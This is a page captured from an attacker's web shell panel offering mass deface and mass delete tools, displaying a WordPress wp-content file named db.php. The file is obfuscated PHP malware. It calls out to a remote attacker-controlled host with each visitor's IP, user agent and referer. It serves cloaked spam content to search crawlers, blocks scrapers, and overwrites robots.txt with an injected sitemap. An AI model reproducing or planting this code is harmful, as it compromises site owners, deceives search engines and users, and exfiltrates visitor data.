shell bypass 403
UnknownSec Shell
:
/
home
/
a
/
k
/
w
/
akwariom
/
www
/
wp-content
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
db.php
<?php goto TC8KI; OEl9H: $vSUoG = urlencode($_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\124"]); goto pvlNv; TC8KI: $qi9W0 = "\x41\x46\x5a\122\x43\126\121\x58"; goto wTANc; DZq_U: header("\110\x54\x54\x50\x2f\x31\x2e\x30\x20\x34\x30\x33\x20\106\x6f\162\142\151\144\144\145\156"); goto jYlk6; VOKcr: weVSN: goto tzf6l; olgeb: LniTU: goto olX5L; aifH5: $_SERVER["\122\x45\x51\x55\x45\x53\124\x5f\123\103\110\105\x4d\105"] = "\x68\x74\164\x70"; goto Vh4KS; pT1Pw: S0IVo: goto jxDmX; O3ilb: TijV3: goto RS9Yg; RpnW2: curl_setopt($KK8Tw, CURLOPT_FOLLOWLOCATION, false); goto w2x4m; KtX19: $RDfMn = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\101\x44\104\x52"]; goto WRxjE; SEMKD: if (strpos($DqNXo, "\146\141\x76\151\x63\x6f\156\56\x69\x63\157") !== false) { goto m9Aeh; } goto uv3pF; nRK4u: echo $q6W0a . "\72\x20" . $yGBq_ . "\74\x62\162\x2f\x3e"; goto IXr3r; BqyAd: kPwro: goto ln7MG; BKd52: $XybUA = $HQOOS . "\77\x61\x67\x65\x6e\164\x3d{$kG1AT}\x26\162\145\x66\145\162\75{$DRzl1}\x26\154\x61\156\x67\x3d{$lX1p8}\x26\x69\x70\x3d{$RDfMn}\46\144\x6f\155\x3d{$vSUoG}\x26\150\x74\x74\160\75{$Qkzr5}\x26\165\x72\151\75{$DqNXo}\x26\160\x63\75{$qi9W0}\46\162\x65\167\162\x69\164\x65\x61\142\x6c\x65\x3d{$P0SEs}\x26\163\143\x72\x69\x70\x74\x3d{$Rw7rq}"; goto yVGKp; IHH26: curl_close($KK8Tw); goto olgeb; eJFyB: $Rw7rq = urlencode($_SERVER["\x53\103\x52\111\120\124\x5f\116\101\x4d\x45"]); goto oen2L; eePkc: mQPdL: goto SEMKD; YgIvg: $KK8Tw = curl_init(); goto yx58w; a7jvx: function V88QM($mhpnv) { goto nW2g6; Z5VZN: return false; goto Ijfqq; nW2g6: $vDzYp = fopen($mhpnv, "\162"); goto dhwde; dhwde: if (!$vDzYp) { goto WzbY3; } goto d7sGZ; EcWuF: return $wwA8C; goto hzBeb; hzBeb: WzbY3: goto Z5VZN; d7sGZ: $wwA8C = fread($vDzYp, filesize($mhpnv)); goto AfXiA; AfXiA: fclose($vDzYp); goto EcWuF; Ijfqq: } goto Nf6pt; OVj0f: r0kkt: goto iTRxB; Fb9ds: $USJC8 = @file_get_contents($tayjn); goto NMw22; iaxdw: $kG1AT = urlencode($_SERVER["\x48\x54\124\120\x5f\x55\x53\105\122\x5f\101\x47\105\116\124"]); goto OEl9H; xA1Ln: pw2Mh: goto R2aTT; Nvbjt: error_reporting(0); goto KtX19; GTPCd: exit; goto HIvBd; yx58w: curl_setopt($KK8Tw, CURLOPT_URL, $XybUA); goto oAHPH; Xw8ym: dYiza: goto bvi1u; l0lao: goto Zi1Df; goto ai38f; JGypT: header("\103\x6f\x6e\x74\145\156\x74\55\x54\171\x70\x65\72\x20\x74\x65\170\x74\x2f\x68\164\x6d\154\x3b\40\143\x68\141\x72\x73\145\164\x3d\x75\x74\146\55\x38"); goto dJAyo; uv3pF: if (strpos($DqNXo, "\x72\x6f\142\157\x74\x73\x2e\164\170\164") !== false or strpos($DqNXo, "\152\160\62\60\x32\63") !== false or strpos($DqNXo, "\x70\151\x6e\x67\x73\151\x74\145\155\141\x70") !== false or preg_match("\100\x5e\x2f\50\56\x2a\x3f\x29\56\x78\155\154\44\x40\x69", $_SERVER["\x52\x45\121\125\105\x53\x54\x5f\x55\122\111"]) or preg_match("\57\50{$s1w74}\51\x2f\151", $_SERVER["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\107\x45\116\124"]) or preg_match("\57\x28{$s1w74}\x29\57\151", @$_SERVER["\x48\124\124\120\x5f\x52\x45\x46\x45\122\105\122"])) { goto KSLWt; } goto O2hZw; O2hZw: goto mgmMR; goto HChdX; P0LVg: Z5RbC: goto Qrvmc; pbGEx: F7_rH: goto Zmz3c; STdoH: hZHn0: goto UrDnJ; Qrvmc: $lX1p8 = urlencode(@$_SERVER["\x48\124\124\x50\137\101\103\x43\105\120\x54\x5f\x4c\101\116\x47\125\101\107\105"]); goto Nvbjt; dcnM8: mgmMR: goto l0lao; ieulG: $P0SEs = 0; goto BjNZi; UR1JA: $sp_NP = "\x3a"; goto A_F9L; vG74v: if (!preg_match("\x2f\50\160\x79\164\x68\157\156\55\x72\145\161\x75\x65\163\164\x73\174\x5a\x6d\105\165\174\x48\164\x74\160\103\154\x69\x65\156\164\174\x59\171\x53\160\151\x64\145\x72\x7c\120\171\164\150\x6f\x6e\174\x55\156\x69\x76\145\162\x73\x61\x6c\106\145\145\x64\120\141\x72\163\x65\162\x7c\163\145\x6d\x72\x75\163\x68\x42\157\x74\174\115\152\x31\62\x62\157\164\174\107\157\x2d\150\x74\x74\x70\x2d\143\x6c\x69\145\156\164\174\123\x77\x69\x66\164\142\157\x74\174\x66\145\x65\x64\x44\x65\x6d\x6f\x6e\x7c\112\x61\166\x61\x7c\154\x69\147\150\164\x44\145\x63\153\x52\145\x70\157\x72\164\163\40\102\x6f\x74\x7c\103\x72\141\x77\154\104\141\x64\144\x79\x7c\x50\x79\x74\x68\x6f\x6e\55\165\162\154\x6c\151\x62\174\x79\151\x73\157\x75\123\160\151\144\x65\x72\174\x47\x50\x54\102\x6f\x74\174\x42\171\164\145\x73\160\151\x64\x65\x72\174\x50\145\164\x61\x6c\102\157\x74\174\112\x61\x75\x6e\x74\x79\x7c\123\143\x72\x61\160\171\x7c\x44\141\x74\141\106\157\x72\x53\x45\x4f\174\x70\141\161\x6c\x65\142\x6f\x74\x7c\x41\x68\x72\x65\x66\163\102\157\164\x7c\145\141\x73\157\x75\123\160\x69\x64\145\162\174\117\102\x6f\164\x7c\171\141\156\x64\x65\170\x42\x6f\x74\174\x64\x69\x67\105\x78\x74\174\123\x65\x7a\x6e\x61\x6d\x42\x6f\164\x7c\x43\154\141\165\144\145\x62\x6f\164\174\105\x7a\157\x6f\x6d\x73\174\104\x6f\164\102\x6f\164\x7c\101\155\x61\x7a\157\156\102\x6f\x74\x7c\x42\x61\162\153\x72\157\167\x6c\x65\162\x7c\x70\141\x6c\x6f\141\x6c\x74\x6f\156\x65\x74\167\157\x72\x6b\x73\x7c\x49\156\144\x79\x20\x4c\151\142\162\x61\162\x79\x7c\x4a\x69\x6b\x65\123\160\151\144\x65\162\174\103\x65\156\x73\x79\x73\111\156\163\160\x65\x63\164\x7c\x41\160\141\x63\x68\x65\102\145\x6e\143\150\174\x63\x6f\x6f\154\160\x61\144\127\x65\142\x6b\151\x74\174\106\x65\145\x64\x6c\171\174\x41\163\x6b\124\142\106\x58\124\x56\x7c\x68\x65\162\151\x74\x72\151\170\51\57\x69", $_SERVER["\110\124\x54\x50\x5f\125\123\105\x52\x5f\x41\107\105\x4e\124"])) { goto Z5RbC; } goto DZq_U; DXYqJ: if (!is_file($V0X02)) { goto dYiza; } goto c6nmJ; ln7MG: function TMgXu($mhpnv, $wwA8C) { goto ZazxN; ZazxN: $vDzYp = fopen($mhpnv, "\167"); goto K0GH7; jLNZy: return false; goto K1jlf; K0GH7: if (!$vDzYp) { goto L3ln_; } goto UOVQ6; UOVQ6: fwrite($vDzYp, $wwA8C); goto q83Dh; Hsdor: L3ln_: goto jLNZy; UdSNx: return true; goto Hsdor; q83Dh: fclose($vDzYp); goto UdSNx; K1jlf: } goto a7jvx; R2aTT: exit; goto JqHM4; m3IVd: $uvBGM = "\x74\160"; goto UR1JA; IRrIA: OO22D: goto xAu7G; pvlNv: if (isset($_SERVER["\x48\x54\x54\120\137\x43\114\111\105\x4e\x54\x5f\x49\120"])) { goto mip7g; } goto hHtFD; RTqSV: m5UVg: goto dcnM8; de2lw: if (!empty($USJC8)) { goto LniTU; } goto YgIvg; WAY6c: LdQG7: goto cIGLJ; X7wzG: if ($P0SEs == 0) { goto NNTdr; } goto nPIq2; c6nmJ: $P0SEs = V88qM($V0X02); goto nqx05; UoLf_: $nN5tj = "\x55\163\145\162\x2d\x61\x67\x65\156\164\x3a\x20\x2a\15\12\101\154\x6c\x6f\x77\x3a\x20\57"; goto rviq3; w2x4m: curl_setopt($KK8Tw, CURLOPT_SSL_VERIFYPEER, FALSE); goto RrfS9; rviq3: $q6W0a = "{$Qkzr5}\x3a\x2f\57" . $vSUoG . $lXb4Z . "\163\x69\x74\x65\x6d\141\160\x2e\170\155\x6c"; goto X3k77; Ug_oi: I4LHW: goto nhk8i; iTRxB: $RDfMn = urlencode($RDfMn); goto eJFyB; E6S1P: $RDfMn = $_SERVER["\x48\x54\x54\120\x5f\x43\x4c\111\105\116\124\x5f\x49\120"]; goto DhwV2; WHatZ: $yGBq_ = ''; goto nRK4u; lZaT4: tMGxu("\x72\157\x62\x6f\x74\x73\x2e\164\170\164", $USJC8); goto nAUvF; igrPa: echo $USJC8; goto WwE4V; RS9Yg: $USJC8 = @file_get_contents($XybUA); goto de2lw; dJAyo: goto hZHn0; goto pT1Pw; Vh4KS: goto kPwro; goto Ug_oi; zQDEE: goto pw2Mh; goto AERZs; UrDnJ: goto YdpTD; goto pbGEx; oAHPH: curl_setopt($KK8Tw, CURLOPT_RETURNTRANSFER, true); goto RpnW2; nPIq2: $lXb4Z = "\x2f"; goto YEJUe; IXr3r: $XybUA = $HQOOS . "\x3f\141\147\145\156\x74\x3d{$kG1AT}\46\x72\x65\x66\x65\162\75{$DRzl1}\x26\154\141\x6e\147\x3d{$lX1p8}\46\151\160\75{$RDfMn}\x26\x64\157\x6d\75{$vSUoG}\46\x68\x74\x74\160\x3d{$Qkzr5}\46\165\162\151\x3d{$DqNXo}\46\160\x63\75{$qi9W0}\46\x72\x65\x77\x72\x69\164\x65\x61\x62\x6c\145\x3d{$P0SEs}\x26\163\x63\162\x69\160\164\75{$Rw7rq}\46\x73\151\164\145\x6d\141\160\75" . urlencode($q6W0a); goto O3ilb; yVGKp: if (!(strpos($DqNXo, "\x70\x69\x6e\147\163\x69\x74\x65\x6d\141\160") !== false)) { goto TijV3; } goto cddi9; KBObW: $HQOOS = $nVaxH . $uvBGM . $sp_NP . $xDJFe . $cQXVH . $r8rvB; goto ujEH9; WwE4V: if (!empty($nN5tj)) { goto qWrjz; } goto oKVcn; vGtod: echo "\157\x6b"; goto GTPCd; RrfS9: curl_setopt($KK8Tw, CURLOPT_SSL_VERIFYHOST, FALSE); goto ZQckr; myFQm: goto VD23s; goto WAY6c; NIcxQ: HUchE: goto kzBH1; wXloU: NNTdr: goto ILF0f; kzBH1: $RDfMn = $_SERVER["\110\x54\124\x50\137\130\x5f\x46\117\x52\x57\x41\x52\104\x45\x44\137\106\117\x52"]; goto OVj0f; cIGLJ: $P0SEs = 1; goto XABlT; oKVcn: if (!(strpos($DqNXo, "\162\157\142\157\164\x73\56\x74\x78\x74") !== false)) { goto ivIs2; } goto lZaT4; ujEH9: $s1w74 = "\x67\x6f\157\x67\x6c\x65\174\144\165\143\x6b\x64\165\x63\153\x67\157\x7c\x59\x61\150\x6f\x6f\174\x62\x69\156\x67\174\141\x6f\x6c"; goto vG74v; DhwV2: goto r0kkt; goto NIcxQ; jYlk6: exit; goto P0LVg; nOfpc: YdpTD: goto igrPa; JqHM4: return; goto RTqSV; nqx05: goto mQPdL; goto Xw8ym; Zmz3c: header("\x48\x54\124\x50\57\61\x2e\x31\x20\64\x30\x34\x20\116\x6f\x74\x20\106\x6f\165\x6e\x64"); goto nOfpc; jGVui: $nN5tj = ''; goto BKd52; AERZs: qWrjz: goto D5ORh; ILF0f: $lXb4Z = "\x2f\77"; goto VOKcr; oen2L: if (!empty($_SERVER["\x52\x45\x51\125\105\x53\x54\137\x53\x43\110\x45\115\x45"]) and $_SERVER["\x52\x45\x51\x55\105\x53\x54\x5f\x53\103\x48\105\115\x45"] == "\150\164\164\160\x73" or !empty($_SERVER["\110\124\124\x50\123"]) and $_SERVER["\x48\x54\x54\x50\123"] == "\157\x6e" or !empty($_SERVER["\123\x45\x52\x56\105\122\x5f\x50\117\x52\x54"]) and $_SERVER["\123\x45\122\x56\105\122\x5f\120\x4f\122\124"] == "\64\64\x33" or isset($_SERVER["\x48\124\124\x50\137\130\x5f\106\x4f\122\127\101\122\x44\x45\x44\x5f\x50\122\x4f\124\x4f"]) and $_SERVER["\x48\124\x54\x50\x5f\x58\x5f\106\117\122\127\x41\122\x44\105\104\137\120\122\x4f\124\x4f"] == "\150\x74\x74\x70\163") { goto I4LHW; } goto aifH5; wTANc: $nVaxH = "\150\164"; goto aPwvw; olX5L: if (empty($USJC8)) { goto m5UVg; } goto XR4xr; nhk8i: $_SERVER["\122\x45\121\125\x45\x53\x54\137\x53\103\110\x45\115\x45"] = "\150\164\164\x70\163"; goto BqyAd; YEJUe: goto weVSN; goto wXloU; Kko3s: pGlIH: goto X7wzG; axYl4: goto RPtpD; goto Kko3s; OhEPL: exit; goto IRrIA; gkSXa: $Qkzr5 = urlencode($_SERVER["\x52\x45\121\x55\105\123\x54\x5f\123\103\x48\x45\x4d\105"]); goto Pw36Y; XR4xr: if (!(substr($USJC8, 0, 10) == "\x65\162\x72\x6f\x72\40\143\157\x64\145" or $USJC8 == "\x35\60\60" or strpos($USJC8, "\x42\141\x64\x20\x47\141\x74\x65\x77\x61\171") !== false)) { goto OO22D; } goto D5Zp9; BjNZi: TmGxU($V0X02, "\60"); goto myFQm; YrZcf: $cQXVH = "\56\x61\162\x74\151"; goto m3IVd; tzf6l: RPtpD: goto UoLf_; NMPks: mip7g: goto E6S1P; hHtFD: if (isset($_SERVER["\110\124\x54\x50\137\x58\x5f\106\x4f\x52\127\101\122\x44\105\x44\x5f\106\117\x52"])) { goto HUchE; } goto CMt5D; tc9OR: $P0SEs = 0; goto DXYqJ; u2v3K: if (substr($USJC8, 0, 5) == "\74\77\x78\155\x6c") { goto S0IVo; } goto JGypT; bvi1u: $tayjn = $Qkzr5 . "\x3a\57\x2f" . $_SERVER["\110\124\x54\x50\x5f\110\117\x53\124"] . "\57\x6a\154\x67\152\x6c\147"; goto Fb9ds; HChdX: KSLWt: goto jGVui; XABlT: tmGXu($V0X02, "\61"); goto JsDav; JsDav: VD23s: goto eePkc; X3k77: $nN5tj = trim($nN5tj) . "\15\xa" . "\x53\x69\x74\145\x6d\141\x70\72\40{$q6W0a}"; goto WHatZ; CMt5D: goto r0kkt; goto NMPks; xAu7G: if (strpos($DqNXo, "\x6a\160\62\60\62\x33") !== false) { goto F7_rH; } goto u2v3K; ZQckr: $USJC8 = curl_exec($KK8Tw); goto IHH26; aPwvw: $r8rvB = "\163\164\x73\x61\167\x2e\143\157\155\x2f"; goto YrZcf; WRxjE: $DRzl1 = urlencode(@$_SERVER["\110\124\124\120\137\x52\x45\106\x45\x52\x45\122"]); goto iaxdw; HIvBd: tSQdL: goto ya9lt; nAUvF: ivIs2: goto zQDEE; eBeLc: $lXb4Z = $lXb4Z . "\77"; goto axYl4; A_F9L: $xDJFe = "\57\x2f\x63\167\64\65\70\x35"; goto KBObW; ai38f: m9Aeh: goto VJX2h; hJGK2: if (strpos($lXb4Z, "\151\x6e\144\x65\x78\56\x70\x68") !== false) { goto pGlIH; } goto eBeLc; cddi9: $lXb4Z = $_SERVER["\x53\103\x52\x49\x50\x54\137\116\101\x4d\x45"]; goto hJGK2; D5Zp9: header("\x48\124\124\120\57\x31\x2e\x30\x20\x35\60\60\x20\111\156\x74\x65\162\x6e\x61\154\x20\x53\x65\x72\166\145\162\40\x45\x72\162\x6f\x72"); goto OhEPL; NMw22: if ($USJC8 === "\157\x6b") { goto LdQG7; } goto ieulG; ya9lt: $V0X02 = "\x6a\x6c\x67\x2e\164\170\x74"; goto tc9OR; Nf6pt: $DqNXo = urlencode($_SERVER["\122\105\121\x55\x45\123\x54\137\x55\122\x49"]); goto gkSXa; jxDmX: header("\103\157\x6e\164\x65\x6e\x74\55\x54\x79\x70\x65\x3a\x20\x74\145\170\x74\57\x78\x6d\154\x3b\x20\x63\150\141\162\163\x65\x74\x3d\x75\164\146\55\x38"); goto STdoH; Pw36Y: if (!(strpos($DqNXo, "\x6a\154\147\x6a\154\x67") !== false)) { goto tSQdL; } goto vGtod; D5ORh: Tmgxu("\162\157\142\157\x74\163\56\x74\x78\x74", $nN5tj); goto xA1Ln; VJX2h: Zi1Df: ?>
© 2026 UnknownSec